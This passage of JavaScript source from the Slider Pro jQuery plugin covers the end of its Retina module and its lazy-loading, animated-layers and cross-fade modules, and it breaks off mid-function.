			newImage.attr( 'style', image.attr('style') );

			// Copy the data attributes
			$.each( image.data(), function( name, value ) {
				newImage.attr( 'data-' + name, value );
			});

			// Copy the width and height attributes if they exist
			if ( typeof image.attr( 'width' ) !== 'undefined' ) {
				newImage.attr( 'width', image.attr( 'width' ) );
			}

			if ( typeof image.attr( 'height' ) !== 'undefined' ) {
				newImage.attr( 'height', image.attr( 'height' ) );
			}

			if ( typeof image.attr( 'alt' ) !== 'undefined' ) {
				newImage.attr( 'alt', image.attr( 'alt' ) );
			}

			if ( typeof image.attr( 'title' ) !== 'undefined' ) {
				newImage.attr( 'title', image.attr( 'title' ) );
			}

			// Add the new image in the same container and remove the older image
			newImage.insertAfter( image );
			image.remove();
			image = null;

			// Assign the source of the image
			newImage.attr( 'src', newImagePath );

			if ( typeof callback === 'function' ) {
				callback( newImage );
			}
		},

		// Destroy the module
		destroyRetina: function() {
			this.off( 'update.' + NS );
			this.off( 'update.Thumbnails.' + NS );
		}
	};

	$.SliderPro.addModule( 'Retina', Retina );
	
})( window, jQuery );

// Lazy Loading module for Slider Pro.
// 
// Adds the possibility to delay the loading of the images until the slides/thumbnails
// that contain them become visible. This technique improves the initial loading
// performance.
;(function( window, $ ) {

	"use strict";

	var NS = 'LazyLoading.' + $.SliderPro.namespace;

	var LazyLoading = {

		allowLazyLoadingCheck: true,

		initLazyLoading: function() {
			var that = this;

			// The 'resize' event is fired after every update, so it's possible to use it for checking
			// if the update made new slides become visible
			// 
			// Also, resizing the slider might make new slides or thumbnails visible
			this.on( 'sliderResize.' + NS, $.proxy( this._lazyLoadingOnResize, this ) );

			// Check visible images when a new slide is selected
			this.on( 'gotoSlide.' + NS, $.proxy( this._checkAndLoadVisibleImages, this ) );

			// Check visible thumbnail images when the thumbnails are updated because new thumbnail
			// might have been added or the settings might have been changed so that more thumbnail
			// images become visible
			// 
			// Also, check visible thumbnail images after the thumbnails have moved because new thumbnails might
			// have become visible
			this.on( 'thumbnailsUpdate.' + NS + ' ' + 'thumbnailsMoveComplete.' + NS, $.proxy( this._checkAndLoadVisibleThumbnailImages, this ) );
		},

		_lazyLoadingOnResize: function() {
			var that = this;

			if ( this.allowLazyLoadingCheck === false ) {
				return;
			}

			this.allowLazyLoadingCheck = false;
			
			this._checkAndLoadVisibleImages();

			if ( this.$slider.find( '.sp-thumbnail' ).length !== 0 ) {
				this._checkAndLoadVisibleThumbnailImages();
			}

			// Use a timer to deffer the loading of images in order to prevent too many
			// checking attempts
			setTimeout(function() {
				that.allowLazyLoadingCheck = true;
			}, 500 );
		},

		// Check visible slides and load their images
		_checkAndLoadVisibleImages: function() {
			if ( this.$slider.find( '.sp-slide:not([ data-loaded ])' ).length === 0 ) {
				return;
			}

			var that = this,

				// Use either the middle position or the index of the selected slide as a reference, depending on
				// whether the slider is loopable
				referencePosition = this.settings.loop === true ? this.middleSlidePosition : this.selectedSlideIndex,

				// Calculate how many slides are visible at the sides of the selected slide
				visibleOnSides = Math.ceil( ( parseInt( this.$slidesMask.css( this.sizeProperty ), 10) - this.averageSlideSize ) / 2 / this.averageSlideSize ),

				// Calculate the indexes of the first and last slide that will be checked
				from = this.settings.centerSelectedSlide === true ? Math.max( referencePosition - visibleOnSides - 1, 0 ) : Math.max( referencePosition - 1, 0 ),
				to = this.settings.centerSelectedSlide === true ? Math.min( referencePosition + visibleOnSides + 1, this.getTotalSlides() - 1 ) : Math.min( referencePosition + visibleOnSides * 2 + 1, this.getTotalSlides() - 1  ),
				
				// Get all the slides that need to be checked
				slidesToCheck = this.slidesOrder.slice( from, to + 1 );

			// Loop through the selected slides and if the slide is not marked as having
			// been loaded yet, loop through its images and load them.
			$.each( slidesToCheck, function( index, element ) {
				var slide = that.slides[ element ],
					$slide = slide.$slide;

				if ( typeof $slide.attr( 'data-loaded' ) === 'undefined' ) {
					$slide.attr( 'data-loaded', true );

					$slide.find( 'img[ data-src ]' ).each(function() {
						var image = $( this );
						that._loadImage( image, function( newImage ) {
							if ( newImage.hasClass( 'sp-image' ) ) {
								slide.$mainImage = newImage;
								slide.resizeMainImage( true );
							}
						});
					});
				}
			});
		},

		// Check visible thumbnails and load their images
		_checkAndLoadVisibleThumbnailImages: function() {
			if ( this.$slider.find( '.sp-thumbnail-container:not([ data-loaded ])' ).length === 0 ) {
				return;
			}

			var that = this,
				thumbnailSize = this.thumbnailsSize / this.thumbnails.length,

				// Calculate the indexes of the first and last thumbnail that will be checked
				from = Math.floor( Math.abs( this.thumbnailsPosition / thumbnailSize ) ),
				to = Math.floor( ( - this.thumbnailsPosition + this.thumbnailsContainerSize ) / thumbnailSize ),

				// Get all the thumbnails that need to be checked
				thumbnailsToCheck = this.thumbnails.slice( from, to + 1 );

			// Loop through the selected thumbnails and if the thumbnail is not marked as having
			// been loaded yet, load its image.
			$.each( thumbnailsToCheck, function( index, element ) {
				var $thumbnailContainer = element.$thumbnailContainer;

				if ( typeof $thumbnailContainer.attr( 'data-loaded' ) === 'undefined' ) {
					$thumbnailContainer.attr( 'data-loaded', true );

					$thumbnailContainer.find( 'img[ data-src ]' ).each(function() {
						var image = $( this );

						that._loadImage( image, function() {
							element.resizeImage();
						});
					});
				}
			});
		},

		// Load an image
		_loadImage: function( image, callback ) {
			// Create a new image element
			var newImage = $( new Image() );

			// Copy the class(es) and inline style
			newImage.attr( 'class', image.attr( 'class' ) );
			newImage.attr( 'style', image.attr( 'style' ) );

			// Copy the data attributes
			$.each( image.data(), function( name, value ) {
				newImage.attr( 'data-' + name, value );
			});

			// Copy the width and height attributes if they exist
			if ( typeof image.attr( 'width' ) !== 'undefined') {
				newImage.attr( 'width', image.attr( 'width' ) );
			}

			if ( typeof image.attr( 'height' ) !== 'undefined') {
				newImage.attr( 'height', image.attr( 'height' ) );
			}

			if ( typeof image.attr( 'alt' ) !== 'undefined' ) {
				newImage.attr( 'alt', image.attr( 'alt' ) );
			}

			if ( typeof image.attr( 'title' ) !== 'undefined' ) {
				newImage.attr( 'title', image.attr( 'title' ) );
			}

			// Assign the source of the image
			newImage.attr( 'src', image.attr( 'data-src' ) );
			newImage.removeAttr( 'data-src' );

			// Add the new image in the same container and remove the older image
			newImage.insertAfter( image );
			image.remove();
			image = null;
			
			if ( typeof callback === 'function' ) {
				callback( newImage );
			}
		},

		// Destroy the module
		destroyLazyLoading: function() {
			this.off( 'update.' + NS );
			this.off( 'gotoSlide.' + NS );
			this.off( 'sliderResize.' + NS );
			this.off( 'thumbnailsUpdate.' + NS );
			this.off( 'thumbnailsMoveComplete.' + NS );
		}
	};

	$.SliderPro.addModule( 'LazyLoading', LazyLoading );

})( window, jQuery );

// Layers module for Slider Pro.
// 
// Adds support for animated and static layers. The layers can contain any content,
// from simple text for video elements.
;(function( window, $ ) {

	"use strict";

	var NS = 'Layers.' +  $.SliderPro.namespace;

	var Layers = {

		// Reference to the original 'gotoSlide' method
		layersGotoSlideReference: null,

		// Reference to the timer that will delay the overriding
		// of the 'gotoSlide' method
		waitForLayersTimer: null,

		initLayers: function() {
			this.on( 'update.' + NS, $.proxy( this._layersOnUpdate, this ) );
			this.on( 'sliderResize.' + NS, $.proxy( this._layersOnResize, this ) );
			this.on( 'gotoSlide.' + NS, $.proxy( this._layersOnGotoSlide, this ) );
		},

		// Loop through the slides and initialize all layers
		_layersOnUpdate: function( event ) {
			var that = this;

			$.each( this.slides, function( index, element ) {
				var $slide = element.$slide;

				// Initialize the layers
				this.$slide.find( '.sp-layer:not([ data-layer-init ])' ).each(function() {
					var layer = new Layer( $( this ) );

					// Add the 'layers' array to the slide objects (instance of SliderProSlide)
					if ( typeof element.layers === 'undefined' ) {
						element.layers = [];
					}

					element.layers.push( layer );

					if ( $( this ).hasClass( 'sp-static' ) === false ) {

						// Add the 'animatedLayers' array to the slide objects (instance of SliderProSlide)
						if ( typeof element.animatedLayers === 'undefined' ) {
							element.animatedLayers = [];
						}

						element.animatedLayers.push( layer );
					}
				});
			});

			// If the 'waitForLayers' option is enabled, the slider will not move to another slide
			// until all the layers from the previous slide will be hidden. To achieve this,
			// replace the current 'gotoSlide' function with another function that will include the 
			// required functionality.
			// 
			// Since the 'gotoSlide' method might be overridden by other modules as well, delay this
			// override to make sure it's the last override.
			if ( this.settings.waitForLayers === true ) {
				clearTimeout( this.waitForLayersTimer );

				this.waitForLayersTimer = setTimeout(function() {
					that.layersGotoSlideReference = that.gotoSlide;
					that.gotoSlide = that._layersGotoSlide;
				}, 1 );
			}

			// Show the layers for the initial slide
			// Delay the call in order to make sure the layers
			// are scaled properly before displaying them
			setTimeout(function() {
				that.showLayers( that.selectedSlideIndex );
			}, 1);
		},

		// When the slider resizes, try to scale down the layers proportionally. The automatic scaling
		// will make use of an option, 'autoScaleReference', by comparing the current width of the slider
		// with the reference width. So, if the reference width is 1000 pixels and the current width is
		// 500 pixels, it means that the layers will be scaled down to 50% of their size.
		_layersOnResize: function() {
			var that = this,
				autoScaleReference,
				useAutoScale = this.settings.autoScaleLayers,
				scaleRatio;

			if ( this.settings.autoScaleLayers === false ) {
				return;
			}

			// If there isn't a reference for how the layers should scale down automatically, use the 'width'
			// option as a reference, unless the width was set to a percentage. If there isn't a set reference and
			// the width was set to a percentage, auto scaling will not be used because it's not possible to
			// calculate how much should the layers scale.
			if ( this.settings.autoScaleReference === -1 ) {
				if ( typeof this.settings.width === 'string' && this.settings.width.indexOf( '%' ) !== -1 ) {
					useAutoScale = false;
				} else {
					autoScaleReference = parseInt( this.settings.width, 10 );
				}
			} else {
				autoScaleReference = this.settings.autoScaleReference;
			}

			if ( useAutoScale === true && this.slideWidth < autoScaleReference ) {
				scaleRatio = that.slideWidth / autoScaleReference;
			} else {
				scaleRatio = 1;
			}

			$.each( this.slides, function( index, slide ) {
				if ( typeof slide.layers !== 'undefined' ) {
					$.each( slide.layers, function( index, layer ) {
						layer.scale( scaleRatio );
					});
				}
			});
		},

		// Replace the 'gotoSlide' method with this one, which makes it possible to 
		// change the slide only after the layers from the previous slide are hidden.
		_layersGotoSlide: function( index ) {
			var that = this,
				animatedLayers = this.slides[ this.selectedSlideIndex ].animatedLayers;

			// If the slider is dragged, don't wait for the layer to hide
			if ( this.$slider.hasClass( 'sp-swiping' ) || typeof animatedLayers === 'undefined' || animatedLayers.length === 0  ) {
				this.layersGotoSlideReference( index );
			} else {
				this.on( 'hideLayersComplete.' + NS, function() {
					that.off( 'hideLayersComplete.' + NS );
					that.layersGotoSlideReference( index );
				});

				this.hideLayers( this.selectedSlideIndex );
			}
		},

		// When a new slide is selected, hide the layers from the previous slide
		// and show the layers from the current slide.
		_layersOnGotoSlide: function( event ) {
			if ( this.previousSlideIndex !== this.selectedSlideIndex ) {
				this.hideLayers( this.previousSlideIndex );
			}

			this.showLayers( this.selectedSlideIndex );
		},

		// Show the animated layers from the slide at the specified index,
		// and fire an event when all the layers from the slide become visible.
		showLayers: function( index ) {
			var that = this,
				animatedLayers = this.slides[ index ].animatedLayers,
				layerCounter = 0;

			if ( typeof animatedLayers === 'undefined' ) {
				return;
			}

			$.each( animatedLayers, function( index, element ) {

				// If the layer is already visible, increment the counter directly, else wait 
				// for the layer's showing animation to complete.
				if ( element.isVisible() === true ) {
					layerCounter++;

					if ( layerCounter === animatedLayers.length ) {
						that.trigger({ type: 'showLayersComplete', index: index });
						if ( $.isFunction( that.settings.showLayersComplete ) ) {
							that.settings.showLayersComplete.call( that, { type: 'showLayersComplete', index: index });
						}
					}
				} else {
					element.show(function() {
						layerCounter++;

						if ( layerCounter === animatedLayers.length ) {
							that.trigger({ type: 'showLayersComplete', index: index });
							if ( $.isFunction( that.settings.showLayersComplete ) ) {
								that.settings.showLayersComplete.call( that, { type: 'showLayersComplete', index: index });
							}
						}
					});
				}
			});
		},

		// Hide the animated layers from the slide at the specified index,
		// and fire an event when all the layers from the slide become invisible.
		hideLayers: function( index ) {
			var that = this,
				animatedLayers = this.slides[ index ].animatedLayers,
				layerCounter = 0;

			if ( typeof animatedLayers === 'undefined' ) {
				return;
			}

			$.each( animatedLayers, function( index, element ) {

				// If the layer is already invisible, increment the counter directly, else wait 
				// for the layer's hiding animation to complete.
				if ( element.isVisible() === false ) {
					layerCounter++;

					if ( layerCounter === animatedLayers.length ) {
						that.trigger({ type: 'hideLayersComplete', index: index });
						if ( $.isFunction( that.settings.hideLayersComplete ) ) {
							that.settings.hideLayersComplete.call( that, { type: 'hideLayersComplete', index: index });
						}
					}
				} else {
					element.hide(function() {
						layerCounter++;

						if ( layerCounter === animatedLayers.length ) {
							that.trigger({ type: 'hideLayersComplete', index: index });
							if ( $.isFunction( that.settings.hideLayersComplete ) ) {
								that.settings.hideLayersComplete.call( that, { type: 'hideLayersComplete', index: index });
							}
						}
					});
				}
			});
		},

		// Destroy the module
		destroyLayers: function() {
			this.off( 'update.' + NS );
			this.off( 'sliderResize.' + NS );
			this.off( 'gotoSlide.' + NS );
			this.off( 'hideLayersComplete.' + NS );
		},

		layersDefaults: {

			// Indicates whether the slider will wait for the layers to disappear before
			// going to a new slide
			waitForLayers: false,

			// Indicates whether the layers will be scaled automatically
			autoScaleLayers: true,

			// Sets a reference width which will be compared to the current slider width
			// in order to determine how much the layers need to scale down. By default,
			// the reference width will be equal to the slide width. However, if the slide width
			// is set to a percentage value, then it's necessary to set a specific value for 'autoScaleReference'.
			autoScaleReference: -1,

			// Called when all animated layers become visible
			showLayersComplete: function() {},

			// Called when all animated layers become invisible
			hideLayersComplete: function() {}
		}
	};

	// Override the slide's 'destroy' method in order to destroy the 
	// layers that where added to the slide as well.
	var slideDestroy = window.SliderProSlide.prototype.destroy;

	window.SliderProSlide.prototype.destroy = function() {
		if ( typeof this.layers !== 'undefined' ) {
			$.each( this.layers, function( index, element ) {
				element.destroy();
			});

			this.layers.length = 0;
		}

		if ( typeof this.animatedLayers !== 'undefined' ) {
			this.animatedLayers.length = 0;
		}

		slideDestroy.apply( this );
	};

	var Layer = function( layer ) {

		// Reference to the layer jQuery element
		this.$layer = layer;

		// Indicates whether a layer is currently visible or hidden
		this.visible = false;

		// Indicates whether the layer was styled
		this.styled = false;

		// Holds the data attributes added to the layer
		this.data = null;

		// Indicates the layer's reference point (topLeft, bottomLeft, topRight or bottomRight)
		this.position = null;
		
		// Indicates which CSS property (left or right) will be used for positioning the layer 
		this.horizontalProperty = null;
		
		// Indicates which CSS property (top or bottom) will be used for positioning the layer 
		this.verticalProperty = null;

		// Indicates the value of the horizontal position
		this.horizontalPosition = null;
		
		// Indicates the value of the vertical position
		this.verticalPosition = null;

		// Indicates how much the layers needs to be scaled
		this.scaleRatio = 1;

		// Indicates the type of supported transition (CSS3 2D, CSS3 3D or JavaScript)
		this.supportedAnimation = SliderProUtils.getSupportedAnimation();

		// Indicates the required vendor prefix for CSS (i.e., -webkit, -moz, etc.)
		this.vendorPrefix = SliderProUtils.getVendorPrefix();

		// Indicates the name of the CSS transition's complete event (i.e., transitionend, webkitTransitionEnd, etc.)
		this.transitionEvent = SliderProUtils.getTransitionEvent();

		// Reference to the timer that will be used to hide/show the layers
		this.delayTimer = null;

		// Reference to the timer that will be used to hide the layers automatically after a given time interval
		this.stayTimer = null;

		this._init();
	};

	Layer.prototype = {

		// Initialize the layers
		_init: function() {
			this.$layer.attr( 'data-layer-init', true );

			if ( this.$layer.hasClass( 'sp-static' ) ) {
				this._setStyle();
			} else {
				this.$layer.css({ 'visibility': 'hidden' });
			}
		},

		// Set the size and position of the layer
		_setStyle: function() {
			this.styled = true;

			// Get the data attributes specified in HTML
			this.data = this.$layer.data();
			
			if ( typeof this.data.width !== 'undefined' ) {
				this.$layer.css( 'width', this.data.width );
			}

			if ( typeof this.data.height !== 'undefined' ) {
				this.$layer.css( 'height', this.data.height );
			}

			if ( typeof this.data.depth !== 'undefined' ) {
				this.$layer.css( 'z-index', this.data.depth );
			}

			this.position = this.data.position ? ( this.data.position ).toLowerCase() : 'topleft';

			if ( this.position.indexOf( 'right' ) !== -1 ) {
				this.horizontalProperty = 'right';
			} else if ( this.position.indexOf( 'left' ) !== -1 ) {
				this.horizontalProperty = 'left';
			} else {
				this.horizontalProperty = 'center';
			}

			if ( this.position.indexOf( 'bottom' ) !== -1 ) {
				this.verticalProperty = 'bottom';
			} else if ( this.position.indexOf( 'top' ) !== -1 ) {
				this.verticalProperty = 'top';
			} else {
				this.verticalProperty = 'center';
			}

			this._setPosition();

			this.scale( this.scaleRatio );
		},

		// Set the position of the layer
		_setPosition: function() {
			var inlineStyle = this.$layer.attr( 'style' );

			this.horizontalPosition = typeof this.data.horizontal !== 'undefined' ? this.data.horizontal : 0;
			this.verticalPosition = typeof this.data.vertical !== 'undefined' ? this.data.vertical : 0;

			// Set the horizontal position of the layer based on the data set
			if ( this.horizontalProperty === 'center' ) {
				
				// prevent content wrapping while setting the width
				if ( this.$layer.is( 'img' ) === false && ( typeof inlineStyle === 'undefined' || ( typeof inlineStyle !== 'undefined' && inlineStyle.indexOf( 'width' ) === -1 ) ) ) {
					this.$layer.css( 'white-space', 'nowrap' );
					this.$layer.css( 'width', this.$layer.outerWidth( true ) );
				}

				this.$layer.css({ 'marginLeft': 'auto', 'marginRight': 'auto', 'left': this.horizontalPosition, 'right': 0 });
			} else {
				this.$layer.css( this.horizontalProperty, this.horizontalPosition );
			}

			// Set the vertical position of the layer based on the data set
			if ( this.verticalProperty === 'center' ) {

				// prevent content wrapping while setting the height
				if ( this.$layer.is( 'img' ) === false && ( typeof inlineStyle === 'undefined' || ( typeof inlineStyle !== 'undefined' && inlineStyle.indexOf( 'height' ) === -1 ) ) ) {
					this.$layer.css( 'white-space', 'nowrap' );
					this.$layer.css( 'height', this.$layer.outerHeight( true ) );
				}

				this.$layer.css({ 'marginTop': 'auto', 'marginBottom': 'auto', 'top': this.verticalPosition, 'bottom': 0 });
			} else {
				this.$layer.css( this.verticalProperty, this.verticalPosition );
			}
		},

		// Scale the layer
		scale: function( ratio ) {

			// Return if the layer is set to be unscalable
			if ( this.$layer.hasClass( 'sp-no-scale' ) ) {
				return;
			}

			// Store the ratio (even if the layer is not ready to be scaled yet)
			this.scaleRatio = ratio;

			// Return if the layer is not styled yet
			if ( this.styled === false ) {
				return;
			}

			var horizontalProperty = this.horizontalProperty === 'center' ? 'left' : this.horizontalProperty,
				verticalProperty = this.verticalProperty === 'center' ? 'top' : this.verticalProperty,
				css = {};

			// Apply the scaling
			css[ this.vendorPrefix + 'transform-origin' ] = this.horizontalProperty + ' ' + this.verticalProperty;
			css[ this.vendorPrefix + 'transform' ] = 'scale(' + this.scaleRatio + ')';

			// If the position is not set to a percentage value, apply the scaling to the position
			if ( typeof this.horizontalPosition !== 'string' ) {
				css[ horizontalProperty ] = this.horizontalPosition * this.scaleRatio;
			}

			// If the position is not set to a percentage value, apply the scaling to the position
			if ( typeof this.verticalPosition !== 'string' ) {
				css[ verticalProperty ] = this.verticalPosition * this.scaleRatio;
			}

			// If the width or height is set to a percentage value, increase the percentage in order to
			// maintain the same layer to slide proportions. This is necessary because otherwise the scaling
			// transform would minimize the layers more than intended.
			if ( typeof this.data.width === 'string' && this.data.width.indexOf( '%' ) !== -1 ) {
				css.width = ( parseInt( this.data.width, 10 ) / this.scaleRatio ).toString() + '%';
			}

			if ( typeof this.data.height === 'string' && this.data.height.indexOf( '%' ) !== -1 ) {
				css.height = ( parseInt( this.data.height, 10 ) / this.scaleRatio ).toString() + '%';
			}

			this.$layer.css( css );
		},

		// Show the layer
		show: function( callback ) {
			if ( this.visible === true ) {
				return;
			}

			this.visible = true;

			// First, style the layer if it's not already styled
			if ( this.styled === false ) {
				this._setStyle();
			}

			var that = this,
				offset = typeof this.data.showOffset !== 'undefined' ? this.data.showOffset : 50,
				duration = typeof this.data.showDuration !== 'undefined' ? this.data.showDuration / 1000 : 0.4,
				delay = typeof this.data.showDelay !== 'undefined' ? this.data.showDelay : 10,
				stayDuration = typeof that.data.stayDuration !== 'undefined' ? parseInt( that.data.stayDuration, 10 ) : -1;

			// Animate the layers with CSS3 or with JavaScript
			if ( this.supportedAnimation === 'javascript' ) {
				this.$layer
					.stop()
					.delay( delay )
					.css({ 'opacity': 0, 'visibility': 'visible' })
					.animate( { 'opacity': 1 }, duration * 1000, function() {

						// Hide the layer after a given time interval
						if ( stayDuration !== -1 ) {
							that.stayTimer = setTimeout(function() {
								that.hide();
								that.stayTimer = null;
							}, stayDuration );
						}

						if ( typeof callback !== 'undefined' ) {
							callback();
						}
					});
			} else {
				var start = { 'opacity': 0, 'visibility': 'visible' },
					target = { 'opacity': 1 },
					transformValues = '';

				start[ this.vendorPrefix + 'transform' ] = 'scale(' + this.scaleRatio + ')';
				target[ this.vendorPrefix + 'transform' ] = 'scale(' + this.scaleRatio + ')';
				target[ this.vendorPrefix + 'transition' ] = 'opacity ' + duration + 's';

				if ( typeof this.data.showTransition !== 'undefined' ) {
					if ( this.data.showTransition === 'left' ) {
						transformValues = offset + 'px, 0';
					} else if ( this.data.showTransition === 'right' ) {
						transformValues = '-' + offset + 'px, 0';
					} else if ( this.data.showTransition === 'up' ) {
						transformValues = '0, ' + offset + 'px';
					} else if ( this.data.showTransition === 'down') {
						transformValues = '0, -' + offset + 'px';
					}

					start[ this.vendorPrefix + 'transform' ] += this.supportedAnimation === 'css-3d' ? ' translate3d(' + transformValues + ', 0)' : ' translate(' + transformValues + ')';
					target[ this.vendorPrefix + 'transform' ] += this.supportedAnimation === 'css-3d' ? ' translate3d(0, 0, 0)' : ' translate(0, 0)';
					target[ this.vendorPrefix + 'transition' ] += ', ' + this.vendorPrefix + 'transform ' + duration + 's';
				}

				// Listen when the layer animation is complete
				this.$layer.on( this.transitionEvent, function( event ) {
					if ( event.target !== event.currentTarget ) {
						return;
					}

					that.$layer
						.off( that.transitionEvent )
						.css( that.vendorPrefix + 'transition', '' );

					// Hide the layer after a given time interval
					if ( stayDuration !== -1 ) {
						that.stayTimer = setTimeout(function() {
							that.hide();
							that.stayTimer = null;
						}, stayDuration );
					}

					if ( typeof callback !== 'undefined' ) {
						callback();
					}
				});

				this.$layer.css( start );

				this.delayTimer = setTimeout( function() {
					that.$layer.css( target );
				}, delay );
			}
		},

		// Hide the layer
		hide: function( callback ) {
			if ( this.visible === false ) {
				return;
			}

			var that = this,
				offset = typeof this.data.hideOffset !== 'undefined' ? this.data.hideOffset : 50,
				duration = typeof this.data.hideDuration !== 'undefined' ? this.data.hideDuration / 1000 : 0.4,
				delay = typeof this.data.hideDelay !== 'undefined' ? this.data.hideDelay : 10;

			this.visible = false;

			// If the layer is hidden before it hides automatically, clear the timer
			if ( this.stayTimer !== null ) {
				clearTimeout( this.stayTimer );
			}

			// Animate the layers with CSS3 or with JavaScript
			if ( this.supportedAnimation === 'javascript' ) {
				this.$layer
					.stop()
					.delay( delay )
					.animate({ 'opacity': 0 }, duration * 1000, function() {
						$( this ).css( 'visibility', 'hidden' );

						if ( typeof callback !== 'undefined' ) {
							callback();
						}
					});
			} else {
				var transformValues = '',
					target = { 'opacity': 0 };

				target[ this.vendorPrefix + 'transform' ] = 'scale(' + this.scaleRatio + ')';
				target[ this.vendorPrefix + 'transition' ] = 'opacity ' + duration + 's';

				if ( typeof this.data.hideTransition !== 'undefined' ) {
					if ( this.data.hideTransition === 'left' ) {
						transformValues = '-' + offset + 'px, 0';
					} else if ( this.data.hideTransition === 'right' ) {
						transformValues = offset + 'px, 0';
					} else if ( this.data.hideTransition === 'up' ) {
						transformValues = '0, -' + offset + 'px';
					} else if ( this.data.hideTransition === 'down' ) {
						transformValues = '0, ' + offset + 'px';
					}

					target[ this.vendorPrefix + 'transform' ] += this.supportedAnimation === 'css-3d' ? ' translate3d(' + transformValues + ', 0)' : ' translate(' + transformValues + ')';
					target[ this.vendorPrefix + 'transition' ] += ', ' + this.vendorPrefix + 'transform ' + duration + 's';
				}

				// Listen when the layer animation is complete
				this.$layer.on( this.transitionEvent, function( event ) {
					if ( event.target !== event.currentTarget ) {
						return;
					}

					that.$layer
						.off( that.transitionEvent )
						.css( that.vendorPrefix + 'transition', '' );

					// Hide the layer after transition
					if ( that.visible === false ) {
						that.$layer.css( 'visibility', 'hidden' );
					}

					if ( typeof callback !== 'undefined' ) {
						callback();
					}
				});

				this.delayTimer = setTimeout( function() {
					that.$layer.css( target );
				}, delay );
			}
		},

		isVisible: function() {
			if ( this.visible === false || this.$layer.is( ':hidden' ) ) {
				return false;
			}

			return true;
		},

		// Destroy the layer
		destroy: function() {
			this.$layer.removeAttr( 'style' );
			this.$layer.removeAttr( 'data-layer-init' );
			clearTimeout( this.delayTimer );
			clearTimeout( this.stayTimer );
			this.delayTimer = null;
			this.stayTimer = null;
		}
	};

	$.SliderPro.addModule( 'Layers', Layers );
	
})( window, jQuery );

// Fade module for Slider Pro.
// 
// Adds the possibility to navigate through slides using a cross-fade effect.
;(function( window, $ ) {

	"use strict";

	var NS = 'Fade.' + $.SliderPro.namespace;

	var Fade = {

		// Reference to the original 'gotoSlide' method
		fadeGotoSlideReference: null,

		initFade: function() {
			this.on( 'update.' + NS, $.proxy( this._fadeOnUpdate, this ) );
		},

		// If fade is enabled, store a reference to the original 'gotoSlide' method
		// and then assign a new function to 'gotoSlide'.
		_fadeOnUpdate: function() {
			if ( this.settings.fade === true ) {
				this.fadeGotoSlideReference = this.gotoSlide;
				this.gotoSlide = this._fadeGotoSlide;
			}
		},

		// Will replace the original 'gotoSlide' function by adding a cross-fade effect
		// between the previous and the next slide.
		_fadeGotoSlide: function( index ) {
			if ( index === this.selectedSlideIndex ) {
				return;
			}
			
			// If the slides are being swiped/dragged, don't use fade, but call the original method instead.
			// If not, which means that a new slide was selected through a button, arrows or direct call, then
			// use fade.
			if ( this.$slider.hasClass( 'sp-swiping' ) ) {
				this.fadeGotoSlideReference( index );
			} else {
				var that = this,
					$nextSlide,
					$previousSlide,
					newIndex = index;

				// Loop through all the slides and overlap the previous and next slide,
				// and hide the other slides.
				$.each( this.slides, function( index, element ) {
					var slideIndex = element.getIndex(),
						$slide = element.$slide;

					if ( slideIndex === newIndex ) {
						$slide.css({ 'opacity': 0, 'left': 0, 'top': 0, 'z-index': 20, visibility: 'visible' });
						$nextSlide = $slide;
					} else if ( slideIndex === that.selectedSlideIndex ) {
						$slide.css({ 'opacity': 1, 'left': 0, 'top': 0, 'z-index': 10, visibility: 'visible' });
						$previousSlide = $slide;
					} else {
						$slide.css({ 'opacity': 1, visibility: 'hidden', 'z-index': '' });
					}
				});

				// Set the new indexes for the previous and selected slides
				this.previousSlideIndex = this.selectedSlideIndex;
				this.selectedSlideIndex = index;

				// Re-assign the 'sp-selected' class to the currently selected slide
				this.$slides.find( '.sp-selected' ).removeClass( 'sp-selected' );
				this.$slides.find( '.sp-slide' ).eq( this.selectedSlideIndex ).addClass( 'sp-selected' );
			
				// Rearrange the slides if the slider is loop-able
				if ( that.settings.loop === true ) {
					that._updateSlidesOrder();
				}

				// Move the slides container so that the cross-fading slides (which now have the top and left
				// position set to 0) become visible.
				this._moveTo( 0, true );

				// Fade in the selected slide
				this._fadeSlideTo( $nextSlide, 1, function() {

					// This flag will indicate if all the fade transitions are complete,
					// in case there are multiple running at the same time, which happens
					// when the slides are navigated very quickly
					var allTransitionsComplete = true;

					// Go through all the slides and check if there is at least one slide 
					// that is still transitioning.
					$.each( that.slides, function( index, element ) {
						if ( typeof element.$slide.attr( 'data-transitioning' ) !== 'undefined' ) {
							allTransitionsComplete = false;
						}
					});

					if ( allTransitionsComplete === true ) {

						// After all the transitions are complete, make all the slides visible again
						$.each( that.slides, function( index, element ) {
							var $slide = element.$slide;
							$slide.css({ 'visibility': '', 'opacity': '', 'z-index': '' });
						});
						
						// Reset the position of the slides and slides container
						that._resetSlidesPosition();
					}

					// Fire the 'gotoSlideComplete' event
					that.trigger({ type: 'gotoSlideComplete', index: index, previousIndex: that.previousSlideIndex });
					if ( $.isFunction( that.settings.gotoSlideComplete ) ) {
						that.settings.gotoSlideComplete.call( that, { type: 'gotoSlideComplete', index: index, previousIndex: that.previousSlideIndex } );
					}
				});

				// Fade out the previous slide, if indicated, in addition to fading in the next slide
				if ( this.settings.fadeOutPreviousSlide === true ) {
					this._fadeSlideTo( $previousSlide, 0 );
				}

				if ( this.settings.autoHeight === true ) {
					this._resizeHeight();
				}

				// Fire the 'gotoSlide' event
				this.trigger({ type: 'gotoSlide', index: index, previousIndex: this.previousSlideIndex });
				if ( $.isFunction( this.settings.gotoSlide ) ) {
					this.settings.gotoSlide.call( this, { type: 'gotoSlide', index: index, previousIndex: this.previousSlideIndex });
				}
			}
		},

		// Fade the target slide to the specified opacity (0 or 1)
		_fadeSlideTo: function( target, opacity, callback ) {
			var that = this;

			// apply the attribute only to slides that fade in
			if ( opacity === 1 ) {
				target.attr( 'data-transitioning', true );
			}

			// Use CSS transitions if they are supported. If not, use JavaScript animation.
			if ( this.supportedAnimation === 'css-3d' || this.supportedAnimation === 'css-2d' ) {

				// There needs to be a delay between the moment the opacity is set
				// and the moment the transitions starts.
				setTimeout(function(){
					var css = { 'opacity': opacity };
					css[ that.vendorPrefix + 'transition' ] = 'opacity ' + that.settings.fadeDuration / 1000 + 's';
					target.css( css );
				}, 100 );

				target.on( this.transitionEvent, function( event ) {
					if ( event.target !== event.currentTarget ) {
						return;
					}
					
					target.off( that.transitionEvent );
					target.css( that.vendorPrefix + 'transition', '' );
					target.removeAttr( 'data-transitioning');

					if ( typeof callback === 'function' ) {
						callback();
					}
				});
			} else {
				target.stop().animate({ 'opacity': opacity }, this.settings.fadeDuration, function() {
					target.removeAttr( 'data-transitioning' );

					if ( typeof callback === 'function' ) {
						callback();
					}
				});
			}
		},

		// Destroy the module
		destroyFade: function() {
			this.off( 'update.' + NS );

			if ( this.fadeGotoSlideReference !== null ) {
